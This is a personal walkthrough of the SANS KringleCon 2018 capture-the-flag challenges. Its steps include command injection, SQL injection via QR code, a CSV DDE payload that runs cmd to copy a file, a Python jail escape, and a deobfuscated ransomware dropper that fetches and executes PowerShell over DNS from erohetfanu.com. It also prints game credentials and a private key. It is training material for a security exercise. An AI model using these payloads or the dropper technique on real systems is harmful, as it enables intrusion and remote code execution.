Welcome to my KringleCon 2018 Write-up!
I had a TON of fun with this event. The creators clearly put a lot of thought and effort into event and I learned a lot. It seemed only fair to make a detailed walk-through to show my appreication!
Let’s get to it!
Challenge 1 – The Information Kiosk
This is just a trivia challenge. I started doing the Holiday Hack in 2016, so I learned about 2015 this year!
- Firmware
- ATNAS
- Business Card
- Cranberry Pi
- Snowballs
- The Great Book
Solution – Happy Trails
Challenge 2A – The Name Game
This challenge is essentially a command inclusion exploit followed by some SQL querying. I enjoyed trying to minimize the steps needed to get the info!
- Use application option 2 (which is a ping)
- Command Injection by way of “127.0.0.1 && /bin/sh”
- Open sqlite db, onboard.db
SELECT fname FROM onboard WHERE lname = ‘Chan’
- Use ./runtoanswer
Solution – Scott
Challenge 2B – Directory Browsing
This is a straight-forward “directory browsing is enabled” challenge. The names they came up with for the talks, however, are pretty funny
LINK – https://cfp.kringlecastle.com/
LINK – https://cfp.kringlecastle.com/cfp/cfp.html
LINK – https://cfp.kringlecastle.com/cfp/
- Select CFP From KringleCon site
- Open Directory with browsing by removing the “cfp.html”
- Search on “Data Loss for Rainbow Teams: A Path in the Darkness?”
Solution – John McClane
Challenge 3A – Lethal ForensicELFication
The challenge is kinda creepy when you look at what is going on. But, in any event, it is a simple “know where history is” challenge.
- ls to find interesting files
- vim is a great text tool, so search vim’s history
- Subject name shows up in history
- ./runtoanswer with solution
Solution – Elinore (Not Elfinore – missed opportunity)
Challenge 3B – De Bruijn Cipher
I might get in trouble for this. I originally did the challenge as you’re supposed to, just clicking on the cipher lock using a De Bruijn sequence. But I wanted to do something else for the write-up because, if you’re like me, your brain doesn’t work correctly when zero-index counting.
- Decide not to generate De Bruijn Sequence
- Bash Script to Curl all the options
- Make sure you leave the window open in a browser so your session token stays
- Get success message
Correct sequence is 0120
Check the images for a visual representation of the pattern - Enter Room
Solution – Welcome unprepared speaker!
Challenge 4A – Stall Mucking Report
This was actually hard for me at first because I have no idea how to use smbclient. Once I figured out the tricks it went pretty fast.
- Get file list
- Get running processes by ps
- Output that process list to a file because it is too big to fit in the window
- Get username/password by intelligent guessing of the commands in the ps text file
Solution – smbclinet //localhost/report-upload -c ‘put report.txt” -U report-upload%directreindeerflatterystable
Challenge 4B – Encrypted Zip Retrieval
This is an intro to git repo security and I learned to use a cool tool called TruffleHog. I’m going to use that for my own projects in the future and it is always great to learn about new tools out there!
LINK – https://git.kringlecastle.com/Upatree/santas_castle_automation
LINK – https://github.com/dxa4481/truffleHog
- Install TruffleHog
- Use TruffleHog
trufflehog –regex https://git.kringlecastle.com/Upatree/santas_castle_automation | grep Password
- Get Password
Solution – Yippee-ki-yay
Additional Note – When you unzip the zip file, you also get 2 images that are the Google Vent Challenge Maps. We’ll cover that at the end
Challenge 5A – CURLing Master
This would be a hard dive into cURL if it weren’t for a little trick we had access to.
- Do recon on webserver – output is useless
- Recon the system by checking command history – Jackpot
curl –http2-prior-knowledge http://localhost:8080/index.php
- You’ll get instructions on what to POST to the webserver
Solution – curl –http2-prior-knowledge http://localhost:8080/index.php -X POST -d {“status=on”}
Challenge 5B – AD Directory Browsing
Not being familiar with BloodHound, this would’ve been pretty hard for me. But they linked videos provided as hints made this a very straight-forward exercise.
- Download SANS Slingshot Linux Image
- Fix the Default VirtualBox Setting
- Start the VM
- Start BloodHound
- Run the pre-built query – Shortest Path to Domain Admin from Kerberoastable User
- Only one user has a short path that does not inolve “CanRDP”
Solution – LDUBEJ00320@AD.KRINGLECASTLE.COM
Challenge 6A – Yule Log Analysis
This isn’t that hard of a challenge if you just want to run each username you find into the ./runtoanswer. It does get hard when you’re writing a walkthrough and want to find an answer with a good explanation.
As a brief overview, what we are aiming to do is correlate the “who is password spraying” against “who did that IP log in as.”
- Figure out who is doing the password spraying:
python ./evtx_dump.py ho-ho-no.evtx | grep 4625 -B 20 -A 20 | grep IpAddress
- Using the found IP – grep for successful logon events
python ./evtx_dump.py ho-ho-no.evtx | grep 4624 -A 50 | grep 172.31.254.101 -B 20 | grep TargetUserName
- Use ./runtoanswer to solve
Solution – minty.candycane
Challenge 6B – Badge Manipulation
The solution I’ll present is straightforward. But I want it to be known that my original attempt resulted in 73 qr codes before I got it right. I heard a lot of people were getting frustrated trying to escape the query. As you’ll see, if you work WITH the query instead of AGAINST it, it’ll go a lot smoother.
LINK – https://www.the-qrcode-generator.com/
- Generate error message using bad SQL query
QR Code Text = MakeAnError!’
- Analyze Target Query
“SELECT FIRST_NAME,LAST_NAME,ENABLED FROM EMPLOYEES WHERE AUTHORIZED=1 and UID = ‘{}’LIMIT 1”
- Use a simple injection
QR Code Text = ‘OR ENABLED=’1
Solution – 19880715
Challenge 7A – DevOps Fail
This is fun – finding hidden gems in git repos. I’ll be applying this methodology to help secure stuff for some of my customers!
- Find target git repo
- Search git commit history
git log
- Find commit which mentions being in trouble for saving hard-coded passwords. Checkout the commit before the correction
git checkout b2376f4a93ca1889ba7d947c2d14be9a5d138802
- Cat the target file mentioned in the git commit
cat server/config/config.js
Solution – twinkletwinkletwinkle
Challenge 7B – HR Incident
Yay! This will teach you to do DDE, which is obviously related to some things about Fancy Bear! The talks on this were great and had a lot of cool information, so if you haven’t watched them please go do it!
LINK – https://careers.kringlecastle.com/
- Go to website
- Create any csv file
- Upload it to the site
- Get success message showing you the local path where your target file is stored
- Generate a 404 by going to any page on the site that you dream up that isn’t real
https://careers.kringlecastle.com/somepage
- You will receive an error message with where files can be accessed from the public folder on the site
C:\careerportal\resources\public\
- Craft your malicious CSV
=cmd|’/c copy “c:\candidate_evaluation.docx” “c:\careerportal\resources\public\hostilesite.docx”‘!A1
- Upload your malicious CSV
- Go to the location specified in your malicious command
https://careers.kringlecastle.com/public/hostilesite.docx
Solution – Fancy Beaver
Challenge 8A – Python Escape from LA
Read a lot of people got hung up here because they couldn’t get outside the though process of following the provided talk’s examples. Those won’t work because the python jail looks to be using a dictionary filter and the example uses a variable with name “os.” So, when you set your variable as described but call it “os”, it’ll still fail. Also, just my opinion, but you should probably be using subprocess to run applications, so I did my walkthrough that way.
- Open Challenge
- Load subprocess
hostilesite = eval(‘__imp’ + ‘ort__(“subprocess”)’)
- Run subprocess.call via alias
hostilesite.call(‘./i_escaped’)
Solution – Read the Walkthrough!
Challenge 8B – Packalyzer
LINK – https://packalyzer.kringlecastle.com/
Alright everyone – this is where we start to strap on the crazy hat and things get really hard. We’re going to do a few things here. We’re going to analyze some source code, exploit some nodeJS, do some packet analysis, and break some encryption. Strap in.
- Create Account and Log in
- Analyze page source
Find comment about app.js
Find calls to http://packalyzer.kringlecastle.com:80
Remember the hints talking about dev code in production - Navigate to app.js
https://packalyzer.kringlecastle.com:80/app.js
- Find interesting ways paths are constructed in app.js. Able to insert environment variables as part of the path
We know we need the variable “SSLKEYLOGFILE” to progresshttps://packalyzer.kringlecastle.com/SSLKEYLOGFILE/
- Receive variable value
Error: ENOENT: no such file or directory, open ‘/opt/http2packalyzer_clientrandom_ssl.log/’
- Some path data is being added, so clean it up
https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log
- Execute Packet Capture with Packalyzer
- While Packet Capture us running (you have 20 seconds), refresh the page with the SSL Key Log info. Save that to a file.
- Download PCAP you just made from website
- Open PCAP in Wireshark
- Load key log file you just got from the ssl key log page via the Wireshark SSL Preferences
- Filter on HTTP2
- Search for POST data to /api/login, the look for data that follows it
- Find JSON object with username/password
UN – alabaster
PW – Packer-p@re-turntable192 - Log in to Packalyzer with these new credentials
- Download PCAP in history and load in Wireshark
- Select first packet and follow the TCP stream
- Copy out the Base64 data, clean whitespace, and decode into file
Documents are usually docx, pdf, or similar
This one is a PDF - Read the file – learn something about keyshift. Keep this file for later. It gets weirder.
Solution – Mary Had A Little Lamb
Challenge 9A – Snort
This is deceptively hard. If you got this far, it was probably because you know how to figure things out, but the key in this one is to be broad instead of specific. You’ll see what I mean in the final snort rule.
- Read the ~/more_info.txt file
LINK – https://snortsensor1.kringlecastle.com/
UN – elf
PW – onashelf - Download any PCAP from that stie
- Open PCAP in Wireshark
- Weird querying of a lot of TXT records is likely malware
- All TXT queries of the string “77616E6E61636F6F6B69652E6D696E2E707331” in common
This string is hex for ‘wannacookie.min.ps1’
This will matter later - Write Snort Alert for this string
Solution – alert udp any any -> any any (msg:”badstuff”; content:”7616E6E61636F6F6B69652E6D696E2E707331″; sid:1001)
Challenge 9B – Word Document Macro
You could just extract the doc and strings it to get the solution. But someone suggested I used ole tools and it wound up helping a lot to clean up how this is done for a walkthrough. You’re going to be writing a bit of PowerShell, not too scary. Just remember – you’re short-circuiting the logic more than anything. This challenge reminded me of a challenge I saw at DerbyCon, I believe it was Bank of America that had it.
- Click Alabaster a bunch to get a link to the Word docm file
- Extract with password “elves”
You may want to do this in a VM and turn off your anti-malware
- Install OLE tools on a Linux machine
- Get Macros out of the docm file
olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm -d
- Copy the macro code into PowerShell ISE
- Modify the PowerShell a bit to remove things like iex and get the string printed out
sal a New-Object
$pscmd = (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG’),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
Write-Host $pscmd
- Copy that output to a new PowerShell ISE tab
function H2A($a) {$o; $a -split ‘(..)’ | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = “77616E6E61636F6F6B69652E6D696E2E707331”; $h = “”; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name “$f.erohetfanu.com” -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name “$i.$f.erohetfanu.com” -Type TXT).strings}; iex($(H2A $h | Out-string))
- The Domain you need is in the code
Solution – erohetfanu.com
Challenge 9C – Malware KillSwitch
This can either be REALLY hard or not too bad depending on if you caught the Hex to ASCII earlier and recognize it again. If you don’t, you’ll be working on minified PowerShell code. Shamefully, I will admit I did this the first time I ran through KringleCon. On the second go, I found my issue and this went a LOT easier. We’re going to do some more PowerShell code, but nothing too bad.
- Clean up the code you got from Challenge 9B. Make it easier to read.
- Modify the target by changing the hex code and output variable info
- Function “wannacookie” contains a killswitch
Oddly enough, right next to some hex for the word “killswitch” - Following code inserted into function “wannacookie.” See images for more specific location info.
#
$KillSwitch = H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))Write-Host $KillSwitch
Exit
# - Enter solution into the terminal to register the domain
Solution – yippeekiyaa.aaay
Challenge 9D – Decyrpt Ransomware’d Files
Do you still have on your tinfoil hat? You’re going to need it.
We are about to do a little hex changing, memory dumping, de-obfuscation, key encryption/decryption, PowerShell, with a splash of SQL to finish it up. This one took me forever and I had some help. Fitting penultimate challenge, hats off to the development team!
- Note the following string in the PowerShell, when converted from hex
7365727665722E637274 = server.crt
- In a default configuration, its private key counterpart should be server.key
7365727665722e6b6579 = server.key
- Download the file linked by Alabaster Snowball
https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip
- Extract the contents
- If you don’t already have it installed, get PowerDump installed on a Linux machine
git clone https://github.com/chrisjd20/power_dump.git
- Rename file to memdump.dmp (maybe not necessary, but the characters in the file gave me some issues.
- Run power_dump on memdump.dmp
- In testing on dummy box, malicious script consistently produces an encrypted key at ./encrypted_pub_key.txt with a length of 512. We’ll need that encrypted key to get the files back.
- Search for a variable of 512 characters in length in power_dump
- Only one variable should be found – save it as pkek.data
- Return to PowerShell script and modify the following into it. See images for specific location info
###$priv_key = [System.Convert]::FromBase64String($(get_over_dns(“7365727665722E6B6579”))) | Out-String
Exit
- Modify get_over_dns function, as well
$h = ”
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name “$f.erohetfanu.com” -Type TXT).Strings, 10)-1)) {
$h += $(Resolve-DnsName -Server erohetfanu.com -Name “$i.$f.erohetfanu.com” -Type TXT).Strings
}###
Write-Host (H2A $h)
###
return (H2A $h) - Run the script and you’ll get a private key spit out to the command line. Save it and clean it up.
—–BEGIN PRIVATE KEY—–
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
—–END PRIVATE KEY—– - Convert pkek.data into a binary object
xxd -r -p pkek.data pkekbinary.data
- Decrypt the encryption key
openssl rsautl -inkey server.key -decrypt -oaep -in pkekbinary.data -out decrypted.txt
- Verify the length is 16 bytes before we move on – you’ll be unhappy if you don’t
- Get hex value of decryption key
xxd -l 16 -p decrypted.txt
fbcfc121915d99cc20a3d3d5d84f8308
- User PowerShell to decrypt the file with the decrypted encryption key
#wannacookie
$dec_key = ‘fbcfc121915d99cc20a3d3d5d84f8308’
[array]$targ_file = ‘C:\holidayhack\alabaster_passwords.elfdb.wannacookie’
enc_dec $dec_key $targ_file $false
- File should now be decrypted – check the paths I used if you’re having an issue and adjust as needed.
- Open file with SQLite3
sqlite3 alabaster_passwords.elfdb
- Get database contents
.tables
SELECT * FROM passwords; - Relevant password will be in table “passwords”
Solution – ED#ED#EED#EF#G#F#G#ABA#BA#B
Challenge 10 – The KeyShift
This is shockingly hard if you’re not musically inclined. But with the help of the Mary Had a Little Lamb and paying attention to your hints, this goes by pretty quick.
- Talk to Alabaster Snowball to get more hints
- One of your hints strongly implies you need to keyshift from E to D, 1 whole step.
- Follow the instruction in the PDF for how to key shift
E D# E D# E E D# E F# G# F# G# A B A# B A #B
—Becomes—
D C# D C# D D C# D E F# E F# G A G# A G# A - No message will show you when you get it right. The door will open
- Apparently there is supposed to be a message, but it never showed up for me. But if you want to answer these from SANS website where you can just type in your answer:
You have unlocked Santa’s vault!
- Click Santa a bunch.
- Elves are tricky, it seems
Solution – Santa
Bonus Challenge – The Google Vent Maze
This maze is hard without the map. Luckily we got those in Challenge 4B. In short, just follow the map and you get dropped off inside the room that is accessible after the QR Code Challenge. Or it bugs out and shoots you to random places. Your mileage may vary.
- Click on the vent
- Key sequence as follows on your keyboard
wwwwwwdwwawwwwdwwwwdwwwwwwawwawwdwwawwdwwwwawwdwwawwwwdwwawwwwwwawwdwwdww
- Click the skinny up arrow
- Key sequence as follows on your keyboard
dwwwwwwwwdwwwwwwdwwawwdwwawwwwawwwwwwwwawwdwwawwdwwwwwwawwwwdwwdww
- Click the skinny down arrow, not the big one
Bonus Challenge – Essential Editor Skills
This is just an intro challenge on how to use vim. Simply Exit to win.
:q
Kudos to the dev team on this one, though. Because if you get a shell with
:sh
You still can’t run the binary needed to complete this challenge as it checks to see if vim is running!
Bonus Challenge – The Sleighbell
This is a binary reverse engineering challenge. It took me a while until I realized I was REALLY overthinking this puzzle by trying to overwrite memory addresses to get the values to match. There’s a much faster way:
- Open sleighbell-lotto in gdb
gdb ./sleighbell-lotto
- Set a break point on main and run the applicationbreak main
run
- Disassemble main and see what is lurking in there
disas main
- The interesting part of the code is here
0x0000555555555590 <+198>: callq 0x555555554fd7 <winnerwinner>
- Jump to that address and let it run!
jump *0x0000555555555590
Bonus – The Master Map!
Summary Of The Plan
Santa was behind it all! The elves are in costume! It was all a ploy to get hackers like us to run their gauntlet and find those that can help defend the North Pole!
It turns out there are so many different challenges because Santa needs people that are skilled across the InfoSec spectrum!
Hans is actually Santa’s friend and they’ve been playing around the whole time to get us to progress through the challenges on a mission!
What is the reward for completing KringleCon? According to Santa it is Christmas Joy and Good Will. According to me it is the thrill of getting to try new and exciting challenges and lots of free talks to help sharpen my skills.
As Santa, hints, I got everything I wanted out of KringleCon and I hope to live happily ever after!
Please remember to thank the CounterHack team for all their hard work. There were a few bugs along the way, but they certainly managed to wrangle them and keep everything running smoothly – not an easy feat for a conference where you invite everyone to break your toys!
See you next year, Santa!